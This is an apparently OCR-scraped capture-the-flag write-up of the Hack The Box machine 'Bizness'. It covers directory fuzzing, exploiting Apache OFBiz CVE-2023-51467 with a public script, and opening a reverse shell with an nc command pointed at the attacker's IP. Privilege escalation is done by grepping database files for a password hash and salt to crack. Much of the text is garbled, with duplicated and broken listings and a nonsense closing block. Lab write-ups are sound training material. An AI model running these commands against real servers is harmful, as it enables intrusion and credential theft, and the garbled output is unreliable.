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Scanning

Let's start by scanning the given IP address:

```
_ http/1.1
ervice Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

3 ports were found open, as well a domain – bizness.htb

I added it to the /etc/hosts file.

Let's access the website:



No interesting functionality can be found on the website. Seems that we are working on the https port, note the URL line.

Since there is nothing to test at the moment, and while paying attention to the scanning results, I decided to use ffuf in order to try and find some interesting pages/directories: I limited the process to status code 200 only:

```
(kali⊕kali)-[~/Desktop]
ffuf -u https://bizness.htb/FUZZ -w ./SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --mc 200
                     : GET
 Wordlist
```

Part of the results:

```
Method
                                                                                                                                  https://bizness.htb/FUZZ
FUZZ: /home/kali/Desktop/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
false
                       Wordlist
Follow redirects
Calibration
                                                                                                                          : Response status: 200
# directory-list-2.3-medium.txt [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 147ms]

# (Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 150ms]

# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 161ms]

# Copyright 2007 James Fisher [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 161ms]

# This work is licensed under the Creative Commons [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 172ms]

# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 169ms]

# [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 164ms]

# on at least 2 different hosts [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 167ms]

# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 158ms]

# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 191ms]

# Priority ordered case-sensitive list, where entries were found [Status: 230, Size: 27200, Words: 9218, Lines: 523, Duration: 191ms]

[Status: 200, Size: 34633, Words: 10468, Lines: 492, Duration: 456ms]

[Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 162ms]
```


The discovery process was long. I started to look for php and html pages within the found "Control" directory:

```
(kali⊕kali)-[~/Desktop]
ffuf -u https://bizness.htb/control/FUZZ -w ./SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -e .php,.html --mc 200
    v2.1.0-dev
                      : https://bizness.htb/control/FUZZ
: FUZZ: /home/kali/Desktop/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
 Wordlist
                       40
Response status: 200
```

Eventually, I found withing the results a login page. Note the following screenshot where I used grep to find the login pattern that you will be able to see it:

```
aul)-(=/w)esktop]
https://bizness.htb/control/FUZZ -w ./SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -e .php,.html --mc 200 | grep -i login
Method
                         oe:
https://bizness.htb/control/FUZZ
FUZZ: /home/kali/Desktop/SecLists/Discovery/W
.php .html
                           sponse status: 200
```

Seems there is a login page within the Control directory. Let's try to access it:



Seems to be running OFBiz.

Apache OFBiz, or Open For Business, is a free and open-source software that helps businesses manage different aspects like accounting, customer relationships, inventory, and more. It's like a toolbox with various tools (applications) that companies can use to handle their day-to-day operations. OFBiz is flexible and allows businesses to adapt it to their specific needs. It's widely used by medium to large enterprises as a costeffective solution for managing various business processes.

Before testing the page, lets look if there are any know vulnerability for that service:

Boom! There are some test cases as well.



https://threatprotect.qualys.com/2023/12/27/apache-ofbiz-authentication-bypass-vulnerability-cve-2023-51467/

There is also a git repository that holds a script to test if the target machine is vulnerable:

https://github.com/K3ysTr0K3R/CVE-2023-51467-EXPLOIT/blob/main/CVE-2023-51467.py?source=post_page-----b0045ddbc33a-----

Before moving on to the exploit code, I recommend reading the following to understand the flow better:

https://www.vicarius.io/vsociety/posts/apache-ofbiz-authentication-bypass-vulnerability-cve-2023-49070and-cve-2023-51467

Exploitation – CVE-2023-51467

The exploit.py script from the Github repository offers two main functionalities: a scanning feature to check if a particular OFBiz instance is vulnerable, and an exploitation feature that can be activated with a specified command. The scanning part sends a test request and looks for a specific response, while the exploitation part generates a specialized payload to potentially execute commands on the server.



I created a listener:

```
File Actions Edit View Help
  -(kali⊛kali)-[~]
 -$ nc -lvnp 7777
istening on [any] 7777 ...
```

Then executed the following command by the repository usage examples, this time, with my netcat command: We got a shell!

```
File Actions Edit View Help
    (kali⊕ kali)-[~/Desktop/Machines/Bizness/Apache-OFBiz-Authentication-Bypass]
python exploit.py --url https://bizness.htb --cmd 'nc -c bash 10.10.14.4 7777
+] Generating payload...
licked up _JAVA_OPTIONS: -Dawt.uses
+] Payload generated successfully.
                                       -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
+] Sending malicious serialized payload...
+] The request has been successfully sent. Check the result of the command.
   -(kali⊛kali)-[~/Desktop/Machines/Bizness/Apache-OFBiz-Authentication-Bypass]
                                                                      File Actions Edit View Help
                                                                      (kali⊗kali)-[~]
$ nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.252] 33302
```

Navigate to the user directory in order to find the first flag:

```
cd /home/ofbiz
ls -l
total 4
-rw-r---- 1 root ofbiz-operator 33 Feb 25 10:34 user.txt
cat user.txt
```

Privilege Escalation

Back to the directory where I got the first foot hold:

```
File Actions Edit View Help
total 220
-rw-r--r--
1 ofbiz ofbiz-operator drwxr-xr-x 14 ofbiz ofbiz-operator drwxr-xr-x 14 ofbiz ofbiz-operator drwxr-xr-x 10 ofbiz ofbiz-operator drwxr-xr-x
1 ofbiz ofbiz-operator drwxr-xr-x
3 ofbiz ofbiz-operator drwxr-xr-x
4 ofbiz ofbiz-operator drwxr-xr-x
4 ofbiz ofbiz-operator drwxr-xr-x
5 ofbiz ofbiz-operator drwxr-xr-x
6 ofbiz ofbiz-operator dryxr-xr-x
7 ofbiz ofbiz-operator dryxr-x-x-x
8 ofbiz ofbiz-operator dryxr-x-x-x
8 ofbiz ofbiz-operator dryxr-x-x-x
8 ofbiz ofbiz-operator dryxr-x-x-x
8 ofbiz ofbiz-operator dryxr-x-x-x-x
8 ofbiz ofbiz-operator dryxr-x-x-x-x
8 ofbi
      drwxr-xr-x 3 ofbiz ofbiz-operator
drwxr-xr-x 19 ofbiz ofbiz-operator
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4096 Dec 21 09:15 docs
4096 Dec 21 09:15 framework
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             4096 Dec 21 09:15 Framework

4096 Dec 21 09:15 gradle

1185 Oct 13 12:04 gradle.properties

6134 Oct 13 12:04 gradlew

3185 Oct 13 12:04 gradlew.bat

1246 Oct 13 12:04 init-gradle-wrapper.bat
                                                                                                                                                                      1 ofbiz ofbiz-operator
1 ofbiz ofbiz-operator
                                                                                                                                                                                                  ofbiz ofbiz-operator ofbiz ofbiz-operator
-rwxr-xr-x 1 ofbiz ofbiz-operator drwxr-xr-x 2 ofbiz ofbiz-operator 1246 Oct 13 12:04 INSTALL drwxr-xr-x 2 ofbiz ofbiz-operator 4096 Dec 21 09:15 lib 16 Oct 13 12:04 INSTALL drwxr-xr-x 1 ofbiz ofbiz-operator 13324 Oct 29 07:47 LICENSE 166 Oct 13 12:04 NOTICE 166 Oct 13 12:04 NOTICE 1745 Oct 13 12:04 OPTIONAL_LIBRARIES 1745 Oct 13 12:04 OPTIONAL_LIBRARIES 1745 Oct 13 12:04 OPTIONAL_LIBRARIES 1745 Oct 13 12:04 README.adoc 1747 Oct 1745 Oct 17
```

The enumeration process on this machine was terribly long. After I realized the files are not necessary for my process, I moved on to check the directories on that path:

```
ls -l | grep ^d
drwxr-xr-x 14 ofbiz ofbiz-operator 4096 Dec 21 09:15 applications
drwxr-xr-x 10 ofbiz ofbiz-operator 4096 Dec 21 09:15 build
drwxr-xr-x 3 ofbiz ofbiz-operator 4096 Dec 21 09:15 config
drwxr-xr-x 4 ofbiz ofbiz-operator 4096 Dec 21 09:15 docker drwxr-xr-x 3 ofbiz ofbiz-operator 4096 Dec 21 09:15 docs
drwxr-xr-x 19 ofbiz ofbiz-operator 4096 Dec 21 09:15 framework
drwxr-xr-x 3 ofbiz ofbiz-operator 4096 Dec 21 09:15 gradle drwxr-xr-x 2 ofbiz ofbiz-operator 4096 Dec 21 09:15 lib drwxr-xr-x 24 ofbiz ofbiz-operator 4096 Dec 21 09:15 pluging drwxr-xr-x 9 ofbiz ofbiz-operator 4096 Dec 21 09:15 runtime drwxr-xr-x 7 ofbiz ofbiz-operator 4096 Dec 21 09:15 themes
                                                              4096 Dec 21 09:15 plugins
4096 Dec 21 09:15 runtime
```

Eventually I arrived to the framework directory:

```
total 72
drwxr-xr-x 8 ofbiz ofbiz-operator 4096 Dec 21 09:15 base
drwxr-xr-x 5 ofbiz ofbiz-operator 4096 Dec 21 09:15 catalina
drwxr-xr-x 13 ofbiz ofbiz-operator 4096 Dec 21 09:15 common
                    1 ofbiz ofbiz-operator 1651 Dec 16 08:12 component-load.xml
drwxr-xr-x 4 ofbiz ofbiz-operator 4096 Dec 21 09:15 datafile
drwxr-xr-x 2 ofbiz ofbiz-operator 4096 Dec 21 09:15 documents
drwxr-xr-x 11 ofbiz ofbiz-operator 4096 Dec 21 09:15 entity
drwxr-xr-x 8 ofbiz ofbiz-operator 4096 Dec 21 09:15 entityext drwxr-xr-x 3 ofbiz ofbiz-operator 4096 Dec 21 09:15 images drwxr-xr-x 8 ofbiz ofbiz-operator 4096 Dec 21 09:15 minilang
drwxr-xr-x 4 ofbiz ofbiz-operator 4096 Dec 21 09:15 resources drwxr-xr-x 7 ofbiz ofbiz-operator 4096 Dec 21 09:15 security drwxr-xr-x 10 ofbiz ofbiz-operator 4096 Dec 21 09:15 service
drwxr-xr-x 3 ofbiz ofbiz-operator 4096 Dec 21 09:15 start
drwxr-xr-x 5 ofbiz ofbiz-operator 4096 Dec 21 09:15 testtools
drwxr-xr-x 7 ofbiz ofbiz-operator 4096 Dec 21 09:15 webapp
drwxr-xr-x 11 ofbiz ofbiz-operator 4096 Dec 21 09:15 webtools
drwxr-xr-x 6 ofbiz ofbiz-operator 4096 Dec 21 09:15 widget
```

I did the same process here, and managed to get to the resources directory:

Thank god, less directories:

```
cd resources
ls -l
total 8
drwxr-xr-x 3 ofbiz ofbiz-operator 4096 Dec 21 09:15 fonts
drwxr-xr-x 2 ofbiz ofbiz-operator 4096 Dec 21 09:15 templates
```

I moved on to templates:

```
total 104
-rw-r-r-- 1 ofbiz ofbiz-operator 1351 Oct 13 12:04 AdminNewTenantData-Derby.xml
-rw-r-r-- 1 ofbiz ofbiz-operator 1368 Oct 13 12:04 AdminNewTenantData-MySQL.xml
-rw-r-r-- 1 ofbiz ofbiz-operator 1378 Oct 13 12:04 AdminNewTenantData-Oracle.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1378 Oct 13 12:04 AdminNewTenantData-PostgreSQL.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1084 Oct 13 12:04 AdminNewTenantData-PostgreSQL.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1084 Oct 13 12:04 Dutld.gradte
-rw-r--r-- 1 ofbiz ofbiz-operator 1135 Oct 13 12:04 Dutld.gradte
-rw-r--r-- 1 ofbiz ofbiz-operator 2119 Oct 13 12:04 CommonScreens.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1400 Oct 13 12:04 DemoData.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1400 Oct 13 12:04 DemoData.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1400 Oct 13 12:04 DemoData.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1236 Oct 13 12:04 HELP.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1236 Oct 13 12:04 Forms.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1236 Oct 13 12:04 HELP.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1304 Oct 13 12:04 Help.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1304 Oct 13 12:04 Forms.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1800 Oct 13 12:04 Help.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1800 Oct 13 12:04 Help.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1800 Oct 13 12:04 Forms.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1800 Oct 13 12:04 Forms.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1800 Oct 13 12:04 Forms.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1582 Oct 13 12:04 SecurityGroupDemoData.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1582 Oct 13 12:04 SecurityPermissionSeedData.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1021 Oct 13 12:04 Tests.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1021 Oct 13 12:04 Uilabels.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1021 Oct 13 12:04 Uilabels.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 5050 Oct 13 12:04 Web.xml
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 5050 Oct
```

```
<!--
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or more contributor license agreements. See the NOTICE file
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regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at</pre>
Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "ASW SIS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations
    requirePasswordChange="Y"/>
```

This is the hash for the password. While enumerating the machine I discovered another directory on /opt/ofbiz/runtime/data/derby/ofbiz/seg0 - where a SALT can be found!

- -a Treat binary files as text files.
- -r Recursively search subdirectories.
- -i Perform a case-insensitive search.
- -n Display line numbers in the file if there is a match.
- -o Only display the part of the line that matches the pattern.

```
grep -arin -o -w SHA
c54d0.dat:21:SHA
ci@.dat:7:SHA
c6650.dat:2:SHA
```

```
val-UserLogin createdStamp="2023-12-16 03:40:23.643" createdTxStamp="2023-12-16 03:40:23.445" currentPassword="$SHA
' hasLoggedOut="N" lastUpdatedStamp="2023-12-16 03:44:54.272" lastUpdatedTxStamp="2023-12-16 03:44:54.213" requirePas:
```

Crack the hash using automated tool or a python script.

After you crack the password, switch user to the user root and navigate to the user's directory:

HTB Machine: Bizness - Difficulty: Easy - Linux

Erel Regev

```
whoami
root at Cot root.txt

d

5 new States Apache - 05512 - Authorities

6 new States Apache - 05512 - Authorities

7 new States Apache - 05512 - Authorities

8 new States Apache - 05512 - Authorities

8 new States Apache - 05512 - Authorities

8 new States Apache - 05512 - Authorities

9 new States Apache - 05512 - Author
```